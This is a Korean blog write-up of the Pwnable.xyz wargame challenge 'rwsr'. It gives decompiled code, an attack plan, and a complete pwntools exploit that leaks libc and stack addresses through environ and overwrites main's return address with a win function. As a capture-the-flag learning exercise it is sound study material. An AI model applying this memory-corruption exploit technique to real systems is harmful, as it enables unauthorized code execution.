tmxklab
[Pwnable.xyz] rwsr 본문
1. 문제
nc svc.pwnable.xyz 30019
1) mitigation 확인
2) 문제 확인
- Read와 Write 2개의 메뉴가 보이며 Read에서는 어떤 주소에 있는 값을 읽는 것 같고 Write는 어떤 주소에 값을 쓰는 것 같다.
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
const char *v5; // rdi
char *s; // [rsp+10h] [rbp-10h]
setup(argc, argv, envp);
puts("Read Write Sleep Repeat.");
do
{
while ( 1 )
{
while ( 1 )
{
print_menu();
v3 = read_ulong();
if ( v3 != 1 )
break;
printf("Addr: ");
v5 = (const char *)read_ulong();
puts(v5);
}
if ( v3 != 2 )
break;
printf("Addr: ");
s = (char *)read_ulong();
printf("Value: ");
*(_QWORD *)s = read_ulong();
}
}
while ( v3 );
return 0;
}
2. 접근방법
원하는 주소에 값을 쓸 수 있으므로 스택의 주소를 알 수 있다면 Write메뉴를 통해 메인 함수의 ret에 win함수를 넣을 수 있을 것 같다.
이번 문제에서 libc파일이 주어졌는데 이거를 이용해보자.
참고) libc의 envrion변수를 이용한 스택 주소 릭
공격 프로세스)
- puts@got값을 넣어 puts addr주소를 릭하고 offset을 빼서 libc base주소를 알아낸다.
- libc base주소를 알아냈으니 envrion주소를 알 수 있으므로 envrion주소를 넣어서 envrion에 있는 값을 릭한다. → 실제 스택 주소 값
- 릭된 실제 스택 주소 값과 ret와의 offset을 알고 있으므로 ret주소를 알아낸다.
- ret에 win주소를 넣는다.
3. 풀이
1) 익스코드
from pwn import *
#context.log_level = "debug"
context(arch="amd64", os="linux", log_level="debug")
#env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./apline-libc-2.28.so")}
#p = process(["./challenge"], env = {'LD_PRELOAD':'./apline-libc-2.28.so'})
p = remote("svc.pwnable.xyz", 30019)
e = ELF("./challenge")
libc = ELF("./alpine-libc-2.28.so")
#gdb.attach(p)
environ_offset = libc.symbols['environ']
puts_got = e.got['puts']
puts_offset = libc.symbols['puts']
log.info("environ_offset : "+hex(environ_offset))
log.info("puts_offset : "+hex(puts_offset))
log.info("puts_got : "+hex(puts_got))
def read(addr):
p.sendlineafter("> ", str(1))
p.sendafter(": ", str(addr))
def write(addr, value):
p.sendlineafter("> ", str(2))
p.sendafter(": ", str(addr))
p.sendafter(": ", str(value))
# 1. leak puts() addr
read(hex(puts_got))
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = puts_addr - puts_offset
environ_addr = libc_base + environ_offset
log.info("pust_addr : "+hex(puts_addr))
log.info("libc_base : "+hex(libc_base))
log.info("environ_addr : "+hex(environ_addr))
# 2. leak stack
read(environ_addr)
leak_stack = u64(p.recv(6).ljust(8, '\x00'))
main_ret = leak_stack - 0xf0
# 3. return to win
write(hex(main_ret), hex(e.symbols['win']))
p.sendlineafter("> ", str(0))
p.interactive()
2) 실행결과
4. 몰랐던 개념
- libc의 envrion변수를 이용하여 스택 주소 릭
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] PvP (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] bookmark (0) | 2020.09.09 |
[Pwnable.xyz] fclose (0) | 2020.09.09 |
[Pwnable.xyz] message (0) | 2020.09.09 |
[Pwnable.xyz] UAF (0) | 2020.09.09 |
Comments